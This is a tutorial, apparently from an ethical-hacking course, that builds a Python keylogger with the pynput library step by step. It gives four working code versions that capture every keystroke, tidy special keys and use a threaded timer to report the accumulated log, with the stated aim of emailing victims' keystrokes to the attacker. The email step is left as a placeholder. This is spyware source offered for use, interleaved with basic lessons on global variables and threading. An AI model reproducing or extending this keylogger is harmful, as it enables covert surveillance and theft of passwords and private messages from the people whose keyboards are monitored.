#WHAT U WILL LEARN
To make a program that can
- Record keys pressed on the keyboard by the host and send us in the E-mail

Getting started!
install pynput library in Linux/window
- pip install pynput
This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported. See here for the full documentation.
#CODE: Basic keylogger #1
- #!/usr/bin/env python
- import pynput.keyboard
- def process_key_press(key):
- print(key)
- keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
- with keybord_listener:
- keybord_listener.join()
![]() |
#1_keylogger |
#CODE: #2_Modefied_keylogger
#Logging Special Keys
- #!/usr/bin/env python
- import pynput.keyboard
- log = ""
- def process_key_press(key):
- global log
- log = log + str(key)
- print(log)
- keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
- with keybord_listener:
- keybord_listener.join()
![]() |
#2_Modefied_keylogger |
As we see that the print(key) has all the keys that the user has typed, if we use the send_mail function we face a problem that every time the person types anything we will receive the G-mail every time.
SO we need to Record keys somewhere that we can re-use it/send to G-mail
Hence we use a variable log = " "- You can see that we defined the log variable outside all of the functions.
- Right after the import.
- And then we're using the log inside one of our functions inside the callback function.
- So we need to tell the callback function that this is a global variable.
So we're going to say global log.
WHAT IS A GLOBAL VARIABLE?
Basically, a global variable is a variable like a log that we have in here that we declare outside all of thefunctions in our code.
- So you can see that it's not indented it has zero indents zero spaces before it. log = " "
- But then we use this variable inside a number of functions in our code and you'll see now as we build...
Now global variables are useful in some scenarios as you can see in this scenario.
But it's not a very good idea to use a global variable.
The reason being is when your code gets big and you have one variable and you're modifying this variable in a number of functions it gets hard to track what's happening to this variable where it's getting
modified where it's good where it's being read and if things go wrong it gets very hard to track.
For now, we're going to use it like this.
But as we go through the course I'm actually going to show you a better implementation of all of this program.
For now, let's use this as a global variable and we're going to go down to my code.
#CODE: #3_Modefied_keylogger
- #!/usr/bin/env python
- import pynput.keyboard
- log = ""
- def process_key_press(key):
- global log
- try:
- log = log + str(key.char)
- except AttributeError:
- if key == key.space:
- log = log + " " + str(key) + " "
- else:
- log = log + str(key)
- print(log)
- keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
- with keybord_listener:
- keybord_listener.join()
![]() |
#3_Modefied_keylogger |
- Cannot use special keys [face AttributeError]
- Removing extra spaces
we face AttributeError when we use space or any special keys cuz we used
- log = log + str(key.char)
- [like EG- space, +, -, Tab, etc...]
If u run this in LINUX output will be more unreadable form
we see spaces in output which is difficult to read So to remove these spaces and make them more readable
we use if and else
Space is logged as key.space
- if key == key.space:
- log = log + " " + str(key) + " "
you can see the final output in #3_Modefied_keylogger
--------------------------------------------
- #!/usr/bin/env python
- import pynput.keyboard
- log = ""
- def process_key_press(key):
- global log
- try:
- log = log + str(key.char)
- except AttributeError:
- if key == key.space:
- log = log + " " + str(key) + " "
- else:
- log = log + str(key)
- print(log)
- def report():
- while True:
- sendmail
- sleep(60)
- keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
- with keybord_listener:
- report()
- keybord_listener.join()
- #report()
#CODE: #4_Modefied_keylogger
#Threading & Recursion
- #!/usr/bin/env python
- import pynput.keyboard
- import threading
- log = ""
- def process_key_press(key):
- global log
- try:
- log = log + str(key.char)
- except AttributeError:
- if key == key.space:
- log = log + " " + str(key) + " "
- else:
- log = log + str(key)
- def report():
- global log
- print(log)
- log = ""
- timer = threading.Timer(5, report)
- timer.start()
- keybord_listener = pynput.keyboard.Listener(on_press=process_key_press)
- with keybord_listener:
- report()
- keybord_listener.join()
![]() |
the output of #4Modefied keylogger |
#EXPLANATION:
Report_function
- Run in background
- Don't interrupt program executing
- Every X second, send a report
- A great choice for threading
1.import threading = We imported a library called threading
2.global log = then we use global log
So this would actually be the line where you would report.
4.log = " " = Then once you actually send the log you want to reset the log variable to an empty string because you've already locked this to a file or sent it to your email. So you want to start logging fresh with an empty string. hence we are going to set log equals to an empty string